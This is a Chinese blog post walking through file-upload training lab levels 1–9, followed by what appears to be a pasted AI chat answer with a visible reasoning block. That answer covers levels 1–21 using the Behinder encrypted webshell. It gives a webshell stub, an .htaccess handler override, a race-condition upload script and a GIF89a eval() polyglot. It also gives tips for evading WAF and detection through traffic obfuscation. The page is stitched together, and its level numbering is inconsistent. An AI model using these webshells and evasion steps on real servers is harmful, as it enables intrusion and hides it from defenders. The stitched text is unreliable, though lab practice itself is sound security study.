文件上传靶场(1--9关)

目录

实验环境:

小提示: 

 具体内容实现:

第四关:.htaccess

第五关(六,七,八):文件后缀修改

源码查看:

具体操作过程:

1,打开电脑代理,使用BS抓本地虚拟网卡的地址 192.168.56.1,需要修改进入靶场的IP

2,打开代理,bs,点击靶场的上传,抓包,全选过后repeater一下,然后改包数据,在.php后面加一个空格,最后send一下

查看upload文件夹:

第九关(感觉是差不多的):


实验环境:

1,upload的靶场环境可以去GitHub上自行查找

2,打开小皮面板的nginx和数据库

3,将文件上传的靶场部署到本地:

放到小皮的phpstduy_pro的www下面

小提示: 

另外如果你用的是php7的版本建议将版本调到5.2版本,别问为什么,本人用七版本抓包改包根本上传不到upload文件夹

 具体内容实现:

一、前端拦截:

如第一关:

工作方式:

直接在前端拦截

绕过方式:

因为没有限制后端,所有可以用bs 绕过前端修改格式即可

  • 将需要上传的php文件改成jpg格式

  • 使用burp suite 拦截上传后,使用repeater模块将jpg改回php发送即可

  • 可以看到成功上传

二、只判断文件类型:

如第二关

工作方式:

只判断了文件的类型,而没有进行其他的检查方式

绕过方式:

使用bs将返回的数据包中文件格式直接改成允许的文件格式即可绕过

  • 将php文件上传的同时使用bs抓包

  • 使用repeater模块,将content-type中数据改为image/png即可

第四关:.htaccess

黑名单没有过滤.htaccess这个后缀名字:直接改后缀名字为.htaccess

windows下文件后缀有空格,有.,有::$DATA会自动去除

第五关(六,七,八):文件后缀修改

为修改后缀的大小写,直接上传一个shell.PHP,第六,七,八关分别为用bs抓包,改后缀上传,操作如下,因为步骤相同,这里只展示后缀加空格的操作:

源码查看:

第六关

第七关

第八关

具体操作过程:

1,打开电脑代理,使用BS抓本地虚拟网卡的地址 192.168.56.1,需要修改进入靶场的IP

2,打开代理,bs,点击靶场的上传,抓包,全选过后repeater一下,然后改包数据,在.php后面加一个空格,最后send一下

查看upload文件夹:

第九关(感觉是差不多的):

 

<think>嗯,用户要求使用冰蝎完成upload-labs靶场1-21的通方法。这个问题涉及网络安全攻防技术,需要结合文件上传漏洞和Webshell工具使用。 用户提供了四条引用信息: 1. 第19需要修改靶场配置,图片路径问题 2. 第20考察条件竞争漏洞 3. 黑名单过滤可用.htaccess绕过 4. 存在文件包含漏洞的测试页面 结合这些信息,考虑冰蝎作为动态二进制加密的Webshell工具,其特点是流量加密、特征隐蔽。通upload-labs的键点在于: 1. 制作冰蝎的加密Webshell文件(.php/.jsp等) 2. 绕过各不同的上传验证机制 3. 利用文件包含或解析漏洞执行Webshell 准备这样组织回答: 首先说明冰蝎Webshell的通用生成方法,强调加密密钥配置的要点 然后按卡分组讲解: - 前端验证类(1-5):直接修改请求或禁用JS - MIME类型类(6-9):修改Content-Type - 黑名单扩展名类(10-16):利用特殊后缀或.htaccess - 竞争条件类(17,20):多线程并发请求 - 二次渲染类(17-19):结合GIF89a头或文件包含 - 自定义验证类(21):代码审计找逻辑漏洞 特别注意事项: 1. 第19需要修改靶场配置的路径问题 2. 强调冰蝎连接时需要保持密钥一致 3. 条件竞争卡要用多线程工具 4. .htaccess绕过时注意服务器配置 最后提醒读者仅在授权环境下测试,并提供防御建议体现专业性。 </think>以下是通过冰蝎(Behinder)完成Upload-Labs靶场1-21的通方法,结合漏洞原理和冰蝎特性实现高效绕过: ### 一、冰蝎工具准备 1. **生成加密Webshell** 在冰蝎中选择PHP类型,生成加密Webshell文件(如`shell.php`),密钥需与客户端配置一致 ```php <?php @error_reporting(0); session_start(); $key = "e45e329feb5d925b"; // 需与冰蝎客户端密钥匹配 // ...冰蝎加密代码... ?> ``` 2. **核心绕过策略** - 利用冰蝎的**流量加密**特性绕过WAF检测 - 通过**文件头伪装**(如GIF89a)和**二次渲染绕过**应对图片验证 - 结合**解析漏洞**(如`.htaccess`)执行恶意脚本 --- ### 二、卡通方案 #### 1. 前端验证类(1-5) **方法**: - 禁用JS或Burp截断修改文件扩展名 - 直接上传冰蝎的`shell.php`文件 ```http POST /upload.php HTTP/1.1 ... Content-Disposition: form-data; name="file"; filename="shell.php" ``` #### 2. MIME类型验证(卡6-9) **方法**: 修改Content-Type为合法类型(如图片) ```http Content-Type: image/jpeg // 实际文件为PHP ``` #### 3. 黑名单绕过(10-16) **方案1**:特殊扩展名(10-12) - 上传`shell.php5`、`shell.phtml`(需服务器支持解析) **方案2**:`.htaccess`攻击(13-16)[^3] 1. 先上传`.htaccess`文件: ```apache <FilesMatch "jpg"> SetHandler application/x-httpd-php </FilesMatch> ``` 2. 上传冰蝎Webshell文件`shell.jpg` #### 4. 条件竞争(17,20) **利用步骤**[^2]: 1. 使用Python多线程同时进行: ```python import threading import requests def upload(): requests.post(url, files={"file": open("shell.php","rb")}) def access(): while True: r = requests.get("http://target/upload/shell.php") if r.status_code == 200: break threading.Thread(target=upload).start() threading.Thread(target=access).start() ``` #### 5. 二次渲染绕过(18-19) **方法**: 1. 制作GIF+PHP混合文件: ```bash echo &#39;GIF89a<?=eval($_POST["cmd"]);?>&#39; > shell.gif ``` 2. 上传后通过文件包含漏洞执行[^4]: ``` http://target/include.php?file=upload/shell.gif ``` #### 6. 自定义过滤(卡21) **绕过技巧**: - 使用非常规大写扩展名:`shell.PhP` - 分块传输编码(Chunked)绕过长度检查 --- ### 三、防御规避要点 1. **冰蝎连接配置**: - 启用AES256加密模式 - 闭`Connection`头保持减少特征 2. **流量混淆**: - 在冰蝎插件中启用`Content-Type`伪装(如`image/jpeg`) - 使用动态密钥轮换机制 > **注意**:19需修正靶场配置路径(引用[^1]),否则上传路径错误可能导致漏洞利用失败。 --- ### 附:防御建议(管理员视角) 1. 文件上传目录禁止执行权限 2. 使用文件内容检测而非扩展名 3. 限制`.`和`/`符号防路径穿越 4. 部署RASP防护对抗加密Webshell
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

fatsheep洋

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值